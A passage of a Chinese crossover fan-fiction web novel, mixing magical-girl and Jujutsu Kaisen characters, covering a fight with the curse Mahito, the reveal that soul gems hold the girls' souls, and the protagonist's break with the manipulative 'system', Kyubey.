虽然伊江朔久能够想通这点，可还是会担心津美纪受到什么伤害，她余光瞥向上方的玻璃吊灯。 刚才在与魔女的战斗过程中，她有隐晦地使自己的攻击波及到吊灯连接处。 此刻吊灯正摇摇晃晃的，仿佛随时都要掉下来。 也是幸好刚才魔女将这方空间异化，使得这里面的光灭掉了，所以如今摇晃的吊灯才没有多么惹人注意。 应该差不多了。 伊江朔久估摸着时间和吊灯摇晃的频率，在心底默默数着。 ……三、二、一。 “啪嗒——” 吊灯终于坚持不住了，从上方骤然落下，玻璃碎片四散开来。 真人被措不及防的动静吸引了注意力，抬眼望了过去，虽然只是短短地一刹那，但是朔夜抓住了这次的机会。 在四散的玻璃碎片的掩护下，朔夜的箭矢急速飞向真人的头颅。 真人忙侧头避开，本能地选择先保住自己的性命。 朔夜趁此机会从真人手中抢回了昏迷的津美纪，第一时间将津美纪推往伏黑惠那边，伏黑惠愕然却立刻紧紧地接住了姐姐。 真人顿时心凉了半截。 这下完蛋了。 失去了人质之后，他要怎么才能做到让这两个魔法少女屈服？现在他甚至连保住自己的命都困难！ 漏瑚、花御那些咒灵同伴死去的模样，此刻在真人脑海中不断闪过，他知道今天自己或许就要步了他们的后尘了。 为什么命运对他们总是这样不公平？ 面前不远处的白发少女正冷冷地朝着自己举起弓箭，箭身燃起藏青色的火焰，上面蕴含着肉眼可见的巨大能量。 绝对会死在这里了…… 真人清楚地明白这一点，咬着牙不甘地攥紧了拳头。 “轰——！！！” 箭矢离弦而去之前，先前已经重伤的魔女们便受到真人的控制，飞奔过来阻挡在真人面前，但这也是朔夜预估好的。 这些魔女并不能阻挡住这一击，反而它们的身躯在强光中很快便灰飞烟灭，接下来就要轮到真人了。 但是在死亡到来的那一刻，这个诞生于人与人之间负面情绪的特级咒灵在恐惧与绝望之后，露出了最后的笑容。 ——带着如同恶作剧成功般的孩童的恶意。 “哈……哈哈……哈哈哈哈……” 笑声戛然而止的瞬间，真人的身躯残骸突然爆炸，体内的骨刺毫无征兆地迅速飞溅开来。 这是特级咒灵临死前最后的反扑。 攻击的主要目标不是朔夜，也不是伏黑惠，而是……这里唯一的一个普通人伏黑津美纪。 伏黑惠瞳孔微缩，幽绿色的眼底倒映出死亡的轨迹——那其中一个最锋利的淬毒骨刺正袭向自己抱着的津美纪。 他立即躬身将津美纪护在怀里，下意识闭上了眼睛，想要自己替她挡下这一击。 津美纪绝对不能死。 他带给津美纪的危险已经太多了。要不是因为自己，她也不会被牵扯进魔女事件里，也不会再次陷入沉睡，不会被真人所挟持…… 布料的撕裂声划过耳际，其中似乎还夹杂着不少混乱的其他声响。 伏黑惠没来得及分辨，就被突如其来的冲击力向后撞去，他只顾得上紧紧护住自家姐姐，后脑被磕在了墙上。 眼前瞬间模糊了几秒。 不过，这也算不上什么伤，远不如想象中的那样致命。 伏黑惠缓了缓，抬头望去，他的视野很快又从模糊变得清晰起来。 但是在彻底看清楚面前的场景后，他浑身一下子变得僵硬起来，连呼吸都快不知道该怎么做了。 时间在血腥气中仿佛骤然减慢了速度，每一秒都变得极其难熬。 他看到——白发少女挡在了他和津美纪面前，以长弓为支点单膝跪地，弓弦深深勒入掌心。 她心脏所在的位置此刻插着还在蠕动的黑色骨刺，温热而粘稠的血液顺着伤处涌出，很快便染红了她的衣服与发丝。 此刻眼前醒目的红色还在不断地、不断地延伸流淌…… 第206章 认识朔夜这么久以来，伏黑惠这还是第一次见到对方这个样子。 以前朔夜几乎都没怎么受过伤，更遑论是如今穿透心脏的伤势——伏黑惠不用怎么费心就能一眼判断出这是致命伤。 ……根本没办法抢救了。 可是，这怎么可能？ 这一切看起来太不真实了，伏黑惠本能地难以接受这种局面，无法想象朔夜会为了救下自己而沦落至此。 然而，不管眨多少次眼，面前鲜红的血色依旧那样刺目，硝烟和血腥味混杂着弥漫在周围…… 朔夜垂落下来的白发扫过他手背，发梢凝结的血珠比想象中更加粘稠。 “……朔、朔夜？”伏黑惠张口张了半天，才终于从喉咙里挤出声音来：“你……” 该说什么？ 他此刻的思绪几乎一片空白。 这也是正常的。 在此之前，伏黑惠绝不会相信朔夜会愿意替自己受伤。 即使知道朔夜没有表面上的那样冷漠，平常也受到了对方不少明里暗里的帮助…… 但因为朔夜那样难相处的性格，伏黑惠还是很难跟对方拉近太多关系。 甚至，在得知朔夜故意隐瞒着魔法少女真相的时候，伏黑惠还不可避免地对她产生了怀疑，因为津美纪的遭遇而向对方宣泄过自己的负面情绪，猜疑着对方背地里是不是隐藏着某些不可告人的阴谋…… “……伏黑津美纪会……醒来的。” 白发少女苍白着脸，声音有些断断续续的。 但是她的表情却并没有任何慌乱，甚至还在这种情况下提起了另一个不太合时宜的话题。 伏黑惠怔了一下。 还没反应过来，紧接着就感知到对方微凉的手搭在自己手腕上，一颗悲叹之种被贴在墨绿色的灵魂宝石手链边，正在慢慢吸走宝石之中的杂质。 他明白，朔夜直到现在还在救他，不希望他崩溃绝望以至于魔女化。 “……我相信，我相信的。” 伏黑惠有点语序混乱地应下。 “我知道，津美纪会醒来的。你先不要说这个了……” ……说不定还有救。 朔夜现在还没有彻底死掉，这让慢慢冷静了一点的伏黑惠燃起了微弱的希望。 或许魔法少女和正常人的体质不一样，说不定穿透心脏也能够活下来…… 伏黑惠立刻变了身，化作黑发绿眸的少女形象，这样能最大限度地发挥作为魔法少女的能力。 她伸手小心翼翼地触及面前白发少女受伤的心脏处。 伏黑惠想要使用自己的能力，为对方疗伤。 可是，半天却仍没有任何反应。 她失望又无力地喃喃着：“还是用不了……” 伏黑惠其实并不意外——前段时间在津美纪出事之后，她也试过想通过治愈的能力，看看能不能让津美纪清醒过来，可却发现自己突然无法再次使用这一能力了。 或许是因为她的心境出现了问题，怀疑自己当初许下的愿望，才导致相应的能力被束缚吧。 可是，在如今急需发挥作用的时候，自己却无能为力。 挫败的感觉蔓延上伏黑惠心头…… 太宰治和降谷零匆匆赶到现场的时候，看到的就是眼前这样的一幕。 ——破败不堪一看就刚刚经历了艰难战斗的房屋现场，依旧沉睡着的津美纪，神情恍惚失意的禅院穗…… 还有……心脏处受了致命伤看着似乎快死了的朔夜？？！ “朔夜？！” 太宰治几乎是脱口而出。 随后，她立刻靠近了过去，去看朔夜此刻的状态。 ……来迟了吗？ 太宰治在收到朔夜发来的信息后，就很快带着降谷零赶到了这里，可是没想到战斗结束得这么快，她们根本没能赶上。 更没想到的是，一向仿佛无所不能的朔夜却会变成现在这个样子。 明明不是说过了吗？ 太宰治回想起当初和对方交谈时的片段……明明对方默认了，想要结束这一切的时候会叫上自己的才对。 场面僵持了一小会儿。 和朔夜并不怎么熟的降谷零看着这样的场景，也不知道该怎么做。 作为新的魔法少女安凛，她一上任就面临这种艰难的局面，除了心更沉下去几分、越来越觉得未来真是无望之外，也无法再做到什么了。 降谷零偏过视野，看了看这间屋子里的一片狼藉，试着猜测刚才都发生了什么。 这里的大多数家具都被毁了，木屑瓷片玻璃碎片等东西散落一地，地板几乎变成了一片焦黑之色，周围浓厚的魔女气息在慢慢消散…… 这种场面还蛮难进行推理的。 不过，降谷零眼尖地注意到那废墟中的一颗造型独特的种子模样的东西，她上前两步弯腰将其捡起，垂眸打量着这个东西。 “对了，悲叹之种……” 伏黑惠瞥见降谷零的举动，突然记起方才真人说过的那些话。 既然魔法少女能够脱离人类的范畴，变成魔女那样的怪物，那么说不定致命伤也不会导致死亡。 一直以来，不管是丘比还是朔夜，似乎都在经常提醒她们注意随身携带灵魂宝石，一定要保障好宝石的安全。 之前悠衣还有在宝石离体后，便骤然失去了意识的经历。 而且在她们过度使用能力、或是心态崩溃陷入绝望时，灵魂宝石便会随之渐渐被黑色浸染。 再加上如今她知道了，当宝石彻底变黑之后，她们应该就会变成魔女，灵魂宝石估计也会随之化为悲叹之种…… 这些线索慢慢串连成线。 伏黑惠忽然有了一个猜想。 灵魂宝石之中‘灵魂’的含义，不会真就指的是她们本身的灵魂吧？ 难道说，当时与丘比签订契约之后，她们体内的灵魂便被抽取出来制作成了宝石？ 第207章 这个想法存在的可能性很大。 伏黑惠现在仍记得当初签订契约时，从身体深处传出的痛楚，仿若什么东西被硬生生抽离的感觉。 她们的灵魂估计就是在那时被抽离出来的。 如果真是这样的话，那么灵魂离开身体变成宝石后，如今的她们到底算是什么？还能够称之为人类吗？ 伏黑惠心情颇为复杂。 不过，她并不执着于自己人类的身份，也不会因此导致自我认同的崩塌，甚至通常他的压力九成都来自于人类。 于是在目前这种情况下，伏黑惠猜到这个可能性之后，反而有点庆幸…… 既然她们不再是人类，那么会导致人类死亡的致命伤对她们而言，或许并不会那么致命吧？ 朔夜没有即刻死亡就是最好的证明。 “把那个悲叹之种给我，拜托！” 伏黑惠快速向捡起悲叹之种的降谷零喊道。 降谷零愣了一下，不过没有多问，便直接将那颗悲叹之种交到了对方手上。 伏黑惠略带不安地观察着朔夜的状态，伸手轻扯了扯她的围巾，将其藏在围巾之下的灵魂宝石暴露在光线下。 ——浓稠的黑色沉淀在宝石核心处，只能通过仔细观察才能看清楚黑色中浮动的青色颗粒，像是极其渺茫的希望。 和朔夜相识很久的魔法少女几乎都曾见过她的灵魂宝石。 只不过是在偶尔风大或是战斗的时候，能看到她的宝石在扬起的围巾下若隐若现，但是谁都没能真切地看清楚过。 直到现在…… 伏黑惠顿了顿，来不及多想些什么，就准备将自己手里的悲叹之种贴上去。 在这时，面前的白发少女摇了摇头，似乎不太希望她这么做。 但是目前对方的情况并不乐观，除了使用悲叹之种之外，伏黑惠根本不知道还能怎么做了。 伏黑惠只是认为使用悲叹之种对她们有利无害，并潜意识觉得自己现在就应该这么做，于是她还是将这颗悲叹之种贴到了对方的灵魂宝石上。 半晌后，悲叹之种已经到达了极致。还要继续使用的话，估计就会很快从中诞生出新的魔女。 而朔夜的灵魂宝石却只是青得稍微明显了点。 但这也算是好事。 其他人都注意到，此刻朔夜伤处涌出的血液不如刚才那样多了，对方的脸色也好了些许，显然慢慢在向好的方向恢复。 于是，太宰治便立即拿出了自己随身备着的悲叹之种来。 作为新人的降谷零又将视线转移向这周围，搜索着有没有其他掉落在这里的悲叹之种。 可是，当第二颗悲叹之种被送到朔夜面前的时候…… 已经恢复过来一些的朔夜却拒绝了：“不用浪费，一颗已经足够了……我的伤……并不严重，死不了。” 降谷零：“……？？” 并不严重吗？ 穿透心脏的致命伤还不算严重的话，那怎样才算严重？ 其实一开始看到朔夜的伤势，降谷零就开始在心里默默吃惊，没想到都伤到这种程度了，对方还没有立刻变成一具尸体。 作为新人的降谷零早就想问个明白了，但是多年卧底的经验使她习惯性地先观察其他人的反应…… 结果津岛和禅院穗却没有表现得特别意外，她也就不好在这种情况下多说什么。 不过就算这样死不了，但朔夜此刻关于伤势“并不严重”的这种话，很明显不可能使她们信服。 “哪里算得上是浪费了？” 太宰治直白地道：“你现在的脸色明明都还很糟糕吧？” “真的没事。”朔夜却说：“只是骨刺的毒素比较厉害，不断地摧毁着身体机能……所以才更需要时间来缓一会儿。” 太宰治感到无言。 这些年朔夜绝对是解决魔女的主要战力，获得的灵魂宝石也是她们之中最多的。 但是如今看朔夜这样省着用的架势，真不知道对方到底存下了多少灵魂宝石，放着不用又是为了什么。 ……不会是给其他魔法少女准备的吧？ 太宰治想起自己总是容易变黑的灵魂宝石，以及消耗频率很高的悲叹之种，很难得地感到了一丝心虚。 而旁边降谷零的关注点则在另一个地方。 ——原来重点是毒素吗？朔夜是因为受此影响才会显得这样虚弱吗？ 那心脏破裂算什么？ 难不成她的心脏长在右边吗？ 降谷零终于忍不住开口：“请问……这种情况算是特例，还是说魔法少女的体质都这样异于常人？” 空气顿时都安静了几秒。 太宰治早就对魔法少女背后隐藏的秘密有所察觉，只不过还没有确定自己的部分猜想罢了。而伏黑惠刚刚也从真人口中意外得知了大半真相。更不用提显然从一开始就知之甚多的朔夜了。 只有降谷零这个新人尚且还不太能搞清楚情况。 但此刻应该告诉她吗？ 太宰治和伏黑惠都一时拿不定主意。 “……魔法少女都是这样的。只要保护好灵魂宝石，就不会轻易死亡。” 她们两个没能想到，第一个开口且如实回答了降谷零问题的居然是朔夜。 毕竟，朔夜一向寡言少语，还将魔法少女的真相隐瞒了她们两年多。前段时间朔夜还经常避着她们，就是为了不被她们逼问这些事情。 降谷零看了看面前这几个魔法少女的神情，察觉氛围似乎不太对劲，但是对真相的迫切探知欲还是使她接着问下去了。 “这样说的话，那么如果灵魂宝石被破坏了，我们会不会因此而死掉？” 朔夜垂下眸，声音很轻却也足够清晰。 “会。” 第208章 她们的生命居然跟一个宝石息息相关？ 降谷零心底升起荒谬之感。 要不是还有着诸多顾虑，她倒是想把自己上交给国家，做个人体实验看看自己如今具体是个什么构造了。 见朔夜难得这么坦诚的样子，太宰治试探地问道：“所以灵魂宝石真的就是我们的灵魂喽？” 朔夜点了点头：“嗯。” “什么？！” 降谷零没忍住直接错愕地出了声。 等等……这短短一会儿时间透露出来的信息量是不是太多了？不给人一点消化的工夫吗？ 太宰治倒是一副早有预料的表情：“怪不得成为魔法少女之后，身体便不会主动发生变化了，受的伤也很快就能好，原来我们的身体已经变成类似于傀儡的东西了。” “真没意思啊。虽然这样自杀的话，就不会体会到那么多痛苦了。” 说到这里的时候，太宰治终于表现出了一点烦闷。 “但是只有破坏掉灵魂宝石这一个自杀方式，简直太无趣了吧，白费了我学过的那么多自杀小知识。” 降谷零：“……？” 伏黑惠也不禁在心里默默打了个问号。 不过，太宰治的这些话也算是活跃了气氛，让谈起这种话题时她们本应该低落的心情减缓了不少…… 所以，不熟悉津岛的降谷零想了想后，姑且认为对方这只是在开玩笑而已。 降谷零缓了会儿，接着问：“对了，刚才到底都发生了什么事？这里有很多混杂在一起的魔女气息，它们是怎么扎堆聚在这里的？” 她手里拿着刚捡起来的几颗悲叹之种，不知道该交给谁。 伏黑惠示意她拿给朔夜。 “你自己拿着就好，估计这段时间就能用得上。除你之外，其他人这两年都存了点悲叹之种。” 朔夜依旧这样拒绝了，顿了顿，简单解释了对方的问题： “刚才是一个特级咒灵造成的事端，它改造了一些魔女并收为己用，还想要抓到魔法少女进行研究。” 很明显朔夜话里有话。 降谷零选择还是先接着问清楚面前的事情：“改造？不是只有魔法少女能够看到魔女的存在吗？” “那个特级咒灵叫真人，从人与人之间的负面情绪中诞生，术式比较特殊，能够感知到人的灵魂并通过触碰进行改造。” 伏黑惠主动说明道：“估计就是因为这样的术式，那个咒灵才能改造那些魔女吧。” “不过应该不用担心，真人刚才已经死了，不会再……” 说到这里，伏黑惠突然卡了壳。 她回想起了很久之前和津岛的那次奇遇——似乎是拥有预知未来能力的魔女，让她们两个看到了未来的画面。 入目皆是如同末日一般的场景，过于夸张的魔女数量，还有直接在大街上开展战斗的她们两个…… 那样的场景究竟是怎么回事？ 经过两年多的时光，伏黑惠越来越觉得那段未来的画面非常贴近真实，但却始终没能想清楚那是怎么发生的。 也就只有今天与真人的交锋，让她觉得最接近那段未来。 如果再给真人更多的时间，使其慢慢收集并改造更多的魔女，或许就能够创造出魔女版本的百鬼夜游场景了。 但是，她刚才亲眼看见真人死了啊？ 看着禅院穗陷入沉思、一副很有心事的样子，太宰治问道：“怎么了？” 伏黑惠还没回答，降谷零就又注意到了细节，先开口问了个问题： “等等，真人能改造人的灵魂……也能改造魔女的灵魂吗？” “这是一回事。” 太宰治看了看禅院穗和朔夜，才接着为安凛解释道：“魔女大概就是人类，它们是所有魔法少女最终的结局。” 降谷零怀疑自己听错了：“……你说什么？” “回去后你再好好想想吧，你是能够理解这些的。” 太宰治没那么多耐心仔细给降谷零说明白，现在也没时间给对方慢慢消化，她此刻也有需要问清楚的事情。 不过这时，朔夜先出声了：“虽然真人确实已经死了，但还有更需要警惕的敌人近期说不定还要再做些什么动作。” 这样就是了。 伏黑惠直觉朔夜说的敌人和未来的末日场景脱不开干系，于是立即追问道：“什么敌人？” 另一个只有伊江朔久能听见的声音也响起了。 白色的小光球出现在朔夜面前，用着微微讶异的语气问道：【朔久，你说的敌人是谁？我怎么从来没听你说起过？】 ‘你当然没听过了。’ 白发少女在心里语气平静温和地对小光球说道： ‘因为我说的敌人……就是你啊。’ 第209章 朔夜很含糊地跟魔法少女们带过了关于敌人的话题。 “这个暂时不好解释，你们也不会正面对上它，只需要好好防备就行。保护自己以及重要的人不遭到魔女的危害。” 这样的答案有些无法让其他人满足。 但是见朔夜似乎顾虑着什么的样子，她们也没有多问，想着能从对方口中知道这些信息就已经很不容易了。 不过，刚听到了那种话，系统当然会接着追问朔夜，语气犹豫地道： 【朔久，你不是在开玩笑吧？为什么要说我是你们的敌人？】 ‘不，我说的很认真。’ 伊江朔久回道。 系统似是无辜又无奈地说道：【我觉得我们没有成为敌人的必要。一直以来，我们不都是在合作共赢吗？你难道忘了我们最初签订的契约？】 ‘我没有忘，只是我们已经没办法再维持相安无事的状态了。’ 伊江朔久淡然地反问：‘所以，你先打破了平衡，不是吗？’ 系统默了默，说道：【……你看出来了啊。】 ‘你的手段一直不太高明，也就只能骗骗小孩子了。除我以外，其他人也都或多或少察觉到了问题……’ 正巧就在伊江朔久这么说的时候，伏黑惠忍不住开口问道：“那津美纪变成现在这个情况是不是和你说的敌人有关？” 伊江朔久点了点头：“是的。” 伏黑惠表情更加凝重了起来。 系统对伊江朔久道：【可明明是你至今也没有杀死那个梦境魔女，才导致她一直醒不过来吧？】 伊江朔久则提起了更早之前的事情：‘但两年前，是你将快要孵化的悲叹之种放到了伏黑津美纪病房旁边。’ 系统没有否认，也无法否认。 它只是道：【这促使伏黑惠成功签约了。否则，伏黑津美纪当初也不会醒来，不是吗？】 伊江朔久没有接话，而是说道：‘不久前的梦境魔女我也怀疑是你特意放置在那里的，不过你如今做得隐晦了不少，让我无法确定。’ ‘直到这次真人惹出来了这样的事，我才彻底清楚你已经忍耐不下去了。’ 每次有什么魔女的情报，魔法少女们总是最先知道消息的——不光有日益完善的组织替她们搜集情报，她们自己本身也可以感知魔女气息并进行追踪。 相反，真人很难融入人类社会获取情报，还需要小心地躲起来，免得被五条悟追来杀掉。 在这种情况下，真人能够成功抓到五只魔女并进行饲养，这么久以来都没有引起任何人的注意…… 这绝对和系统脱不开干系。 正是因为想清楚了这点，伊江朔久才选择揭晓隐藏许久的真相，并与系统摊牌。 【如果有其他办法的话，我也不希望这么做。】 系统叹了口气，说道：【朔久，是你一直在逼我。】 伊江朔久：‘……’ 或许是这样吧。 伊江朔久知道，系统从来不会对任何人说谎，但是它向来擅长操纵语言使他人误导或被蒙骗。 如今系统的这些话，听起来就显得它格外无辜，仿佛它的这些行为全都是伊江朔久的过错一般。 伊江朔久没有生气，仿若油盐不进地道：‘你说是就是吧。’ 系统沉默了会儿。 它真是愈发觉得很难与伊江进行交流了。 明明当初刚认识伊江的时候，对方是那么好说话，热情又主动，还会潜移默化地慢慢与它拉近关系。 【……或许我们该好好谈一谈。朔久，我不希望我们之间的关系沦落到成为敌人那一步。】 都已经到这个时候了，系统还能说出这样不切实际的话吗？ 伊江朔久本身就一直厌恶着对方，如今略微有点不耐烦，但还是压抑住了情绪，回应道：‘那就最后谈一次吧。’ 得让系统退无可退才行。 因为其他魔法少女还在她身边，所以需要分出心神来应付她们，没办法和系统好好交谈。 于是，朔夜对其他人道：“我还有事情，得先走了。” 朔夜也不是第一次神出鬼没了，伏黑惠和太宰治对此都比较习惯。 “对了。” 降谷零记挂着松田阵平，便叫住朔夜问道：“请问刚才谈到的这些信息，是否能告诉给其他魔法少女？” 朔夜说道：“可以，她们现在需要知道这些，就拜托你们转告了。” …… 离开她们之后，伊江朔久绕了些路，拐到一处无人的角落，便停了下来。 她望向那个白色的小光球，语气淡淡地问道： ‘好了，你到底想谈什么？’ 系统看似真诚地说：【我还是觉得，我们没有必要成为敌人。】 ‘不可能的。’ 伊江朔久毫不委婉，就像是陈述一般地说：‘你已经忍不下去了，你迫切地希望收割这么久以来的成果，逼迫着她们向魔女转化……而我绝对无法接受这些。’ 系统：【可这也是没有办法的事情。】 系统：【这个世界如今越来越危险了，如今已经到了崩溃的边缘。而我做的一切都是为了保护它，为了防止宇宙陷入热寂而毁灭。】 系统：【所以必须要有魔法少女转变为魔女，这样我才能够从中收集到足够的情感能量，以此来扭转熵的增大。】 系统解释了这么一堆话，伊江朔久却一直微微垂着眸，眼底神情不变。 她看上去并不意外，仿佛没有丝毫动容。 【你就只想着保护自己在意的人吗？】 系统不理解地问：【但要是世界毁灭了，所有你在意的人都会死掉，不是吗？】 第210章 ‘不会有世界毁灭的那一天的。’ 伊江朔久顿了顿，态度坚决：‘就算真的有，我也绝对不会看着她们死去。’ 系统也料到伊江朔久不会轻易答应了。 就是因为它猜到可能会是这样，才先提出了过分的要求，想着这样对方更有可能会妥协去接受较小的条件。 只不过，系统也没想到，伊江朔久会拒绝得如此干脆利落、态度坚决。 如今它拿捏不准对方的想法，犹豫了几秒，还是按照原本的打算劝道： 【那么你为什么一直不愿意契约更多的魔法少女呢？】 【只要魔法少女的数量增加，就可以从其他人那里收取能量，目前你熟悉的这些魔法少女也就不用转化成魔女了。】 系统是在委婉地劝说——为了整个世界的安危，总要牺牲一部分人。既然你在意这些人，那就可以找其他人来做牺牲品。 这已经是它最后的让步了。 【朔久，你要知道，世界上很难有两全的方法。】 系统一字一句，仿佛在下判语：【什么都想要的话，你便终将会什么都得不到。】 是吗？ 伊江朔久在心底深处固执地想，我就想要一个完美的结局。 ……为此可以赌上自己的一切。 于是，伊江朔久再次表明自己的态度： ‘放弃这种牺牲其他人的方法吧，我是不会答应的。’ 太无理取闹了。 完全没有理性可言，只凭借自己的情感去做决定，一点道理也不讲。 系统第一次觉得这家伙这么棘手。 不对，不只是伊江这个人。 或许人类大多都是这样，被自己的情感支配着去做事，不能够以大局为重地考虑事情。 曾经它认识的一个魔法少女晓美焰也是这样麻烦——为了在意的人，竟然能靠强烈的情感创造了与神同等程度的奇迹，擅自改变了规则、破坏了秩序，创造出一个虚假的理想世界来。 它当时费了好大工夫，才抽离出自己的一小部分悄悄脱离她的掌控，来到了这个诞生不久的新世界。 然而，或许是因为世界排外的屏障，又或是晓美焰对它的限制…… 它发现自己无法影响到这个新世界——没有人能看见它，没有人能听到它，它无法触及、改变这个世界的任何事物。 除了伊江朔久。 它来到这个世界没多久，就发现了伊江朔久这个人。 对方与整个世界格格不入，就仿佛带着独一无二的特殊磁场一般，因此即使他在熙熙攘攘的人群当中也被它一眼就注意到了。 如果没有伊江朔久，它几乎什么也做不到。 系统语气彻底淡漠下来： 【你不可以这样做，伊江朔久。利用完了我之后，就想将我抛到一边去吗？你想得未免太过于美好了。】 听上去它似乎是生气了，语调冷得如同没有感情一般，还连名带姓地叫他了。 但伊江朔久知道，它从来都没有感情，或许它还会觉得拥有感情只是人类的疾病。 以前温和的语调、亲昵的称呼仅仅是它让人放松警惕的方法。 很巧，他曾经对它也是这么做的。 他们彼此心知肚明地逢场作戏了两年多的时间。而如今，谁都不想再演下去了。 ‘我为什么不可以这样呢？你有可以干涉我的能力吗？’ 白发少女的语气比系统更冷，更像是情感缺失的反派角色，居高临下地嘲讽着对方的愚蠢。 系统沉默了。 ……似乎失策了。 按照理性来说，与它合作无疑是最好的选择。 但对方不答应，宁愿选择等着整个世界毁灭，也不愿做出一点取舍，达成双赢的结局。 这真的是因为伊江朔久‘过头’的善良吗？ 应该不是吧？ 结合这么久以来的所见所闻，系统有了更合理的看法——【你就这么憎恨我吗？】 憎恨到宁愿和它一起去死，也不愿看到它得利的样子。 伊江朔久真诚地回答道：‘是啊，我就是这么憎恨你。’ 这是他这几年来跟对方说的无数句充满谎言的话语里、最真诚的一句实话，再也不会有比这更真诚的话了。 听着对方的这句话，系统忽然又回想起当初它和伊江朔久‘第一次’见面时的场景—— 那时虽然是它先主动地靠近了伊江朔久，喊出了对方的名字。 但是它还没来得及说出自己的来意，对方便笑了起来，惊讶又高兴地道：“系统？” 它本身是无法说谎，无法欺骗对方签下契约的，之前也向来都是靠诱导性的实话和避重就轻的方式契约魔法少女的。 而那天是伊江朔久先喊了它系统，它也就顺势应下了，把这个当作是对方对它的特殊称呼而已。 这又不会构成它的欺骗。 可是，表面看上去是它运气好、顺利通过信息遮蔽扭曲了对方的判断。 但事实真的是这样吗？ “系统？”当年轮椅上的白发青年看起来无害又温和，脸上带着善意的笑容，抢先问道：“你是系统对吧？我能直接喊你系统吗？” 它当时顿了顿，只应下了对方的最后一个问题：【可以。】 青年絮絮叨叨地说着，似乎已经憋了很久的话：“我就知道你会来，我都已经等了你四年了……唉，哪有穿越者的系统来得这么迟的？” 【我也是才找到你。】 它说了实话，只是没有纠正对方的误解而已。 青年主动提到：“……系统绑定宿主的话，一般是不是有什么任务要交给我？我需要怎么做？做到了之后，我又能拿到什么报酬呢？” 它便趁机说出了自己的目的： 【我希望你找到能够成为魔法少女的人，与之签订契约后让他们与魔女使魔战斗，从而拯救世界……】【你现在阅读的是 】 210-220 第211章 于是接下来，他们之间顺理成章地定下了契约。 ——伊江朔久会协助它完成任务，而任务完成之后，它便会实现伊江朔久的任意一个愿望。 他们自此才算是绑定在了一起。 它借用了这个契约，才能利用伊江朔久穿越者的特殊性，间接地影响这个世界。 青年试探性地笑着问：“话说，有没有新手大礼包可以给我呢？别人家的系统似乎都有，拜托啦。” 它没有提什么系统、什么新手礼包，只是说道：【我可以把‘丘比’这个身体借给你。】 随即它在自己所拥有的无数躯体中，随便拿了一个，展现到伊江朔久面前。 反正这对它而言只是消耗品。 “……我可以使用这个叫丘比的神秘生物的身份？哦，是马甲文吧，我也看过的。不过这种动物形象的马甲似乎不太常见。” 它选择性地应了第一个问题：【嗯。】 虽然它向来擅长操纵语言，刻意剥离关键信息，来扭曲他人的判断。然后在他人终于意识到情况之后，还可以无辜地说——我为什么不说？只是你从来没有问过啊。 但是，这样一整个选择性透露信息进行诱导的过程也很麻烦。 如果都能像伊江朔久这样就好了。 伊江朔久会经常给它递话，从来不会嫌弃它偶尔话少，也不会追着它问东问西，令它省心极了。 甚至当时第一次才相处大半天过后，它似乎突然信号不好的样子，白色小光球的光亮一闪一闪的—— 因为尽管它只是抽离了自己的一小部分来这个新世界，但也无法长久地待在这里，它必须得时不时集中所有精力去应付已经超脱成魔的晓美焰，对方可不是那么好糊弄的。 伊江朔久却还能替它找借口。 “也是，让一个系统随机绑定一个萌新宿主、一直待在宿主身边进行辅助，还不如让系统自己去做任务的效率更高呢。” 对方觉得，考虑到效率问题，一个系统同时绑定多个宿主去做任务才比较合理，还可能是系统还有别的工作要去做…… 总之它时不时离开是很正常的。 …… 仔细回想一下就能看出来了。 这是它欺骗操控了伊江朔久吗？ 明明是伊江朔久一直在欺骗它，故意让它应下系统这个身份，从始至终都是对方引导着话题的节奏…… 随着时间的迁移和与伊江朔久的相处，它也逐渐看出了对方的欺骗与虚伪。 只不过，它先前还以为能够与对方互相利用，达成双赢的局面。 可是没想到…… 伊江朔久是这么憎恨它。 【你欺骗我这么久，原来也是为了报复。我还以为你只是为了自己在意的那些人呢。】 它不甘地问道：【至于憎恨到这种程度吗？】 它生来就没什么情感，也没有很痛恨伊江朔久利用欺骗它的事情。 但是如果伊江朔久就此和它划清界限、不愿帮忙，曾经它努力付出了这么久的谋划就全部落空了，它无法从这里获取足够的能量。 世界真的将在不久后迎来热寂。 ‘至于。’伊江朔久语气平静，却似嘲讽地道：‘系统，你值得的。’ 【……你早就知道我的身份了，事到如今还叫我系统算什么。】 ‘不好意思，叫习惯了。’ 伊江朔久顿了顿，重新一字一句地称呼道：‘丘比。’ 话音落下，白色的小光球便消失了，同时伊江朔久也感觉自己缺失了和丘比那个马甲的联系。 紧接着，一只熟悉的像兔子也像猫的白色生物从旁边拐角处走出来。 它恢复了自己原先的声线、也用回了自己原先的模样。 【既然我们已经说开了，你不愿意帮忙，那我也就收回自己的东西了。】 伊江朔久表现得并不在意：‘你请便。’ 就算它收回了丘比马甲，它也依然无法被这个世界的其他人所看见，只不过是他无法再使用这个马甲了而已。 丘比沉默了半晌，才接着道：【还有，别忘了我们之前的契约。】 ‘我从来就没有指望过，通过完成这些任务让你来实现我的愿望。’ 伊江朔久反问道：‘你也没准备兑现承诺吧？不然也不会将完成任务的概念说得如此宽泛。’ 找多少魔法少女才能完成任务？怎样算是拯救了世界？ 丘比却说：【我的契约总是趋近于公平的，你绝对有机会完成任务的。】 伊江朔久不置可否。 丘比歪了歪头：【就算你自己没有更多的愿望，也不在意一直坐在轮椅上……但你就不担心其他魔法少女的安危吗？】 ‘……你想做什么？’ 【魔法少女遇到危险不是很常见的事情吗？】 丘比若有所指地道：【我觉得，你应该为她们准备一点保障。不然等到后悔的时候就已经晚了。】 第212章 听着丘比话里毫不掩饰的恶意，伊江朔久微微垂眸，想起了曾经所经历的一些事情…… 他不可避免从心底升起对它的杀意。 如今已经不需要再掩盖了。 不用像之前那样，即使那么讨厌痛恨，也得忍受和它时常相处，催眠着自己装作友好地面对它…… 伊江朔久曾经就有很多次想要杀了丘比。 在亲眼目睹姐姐魔女化的时候，在得知魔法少女的真相的时候，在看着重要的同伴即将死去的时候…… 可是他始终没有办法做到。 原本还以为再也没有机会报复对方了，直到他决定终结自己的生命、让这个世界上的最后一只魔女消失之前……伊江朔久收到了来自另一个世界的联络。 ——对方自称是晓美焰。 通过跟那位小姐的交流与合作，伊江朔久了解了很多信息，也明白了自己还有必须要完成的重要的事情。 并且，他又得再次见到丘比了。 这还真够令人心情复杂的。 时隔四年，再次见到丘比的那天，伊江朔久很庆幸自己提前准备了许久，为了不露出破绽而几乎快要把自己催眠成另一个人了。 否则，伊江朔久真的很难克制住自己的本能反应，很难伪装着表现出对丘比的信任亲近。 他没有学过专业的表演。 只知道要骗过其他人，首先得将自己先骗过去。 于是，伊江朔久一直模拟着别人的心理，时时刻刻都不能松懈，即使是在丘比离开之后。 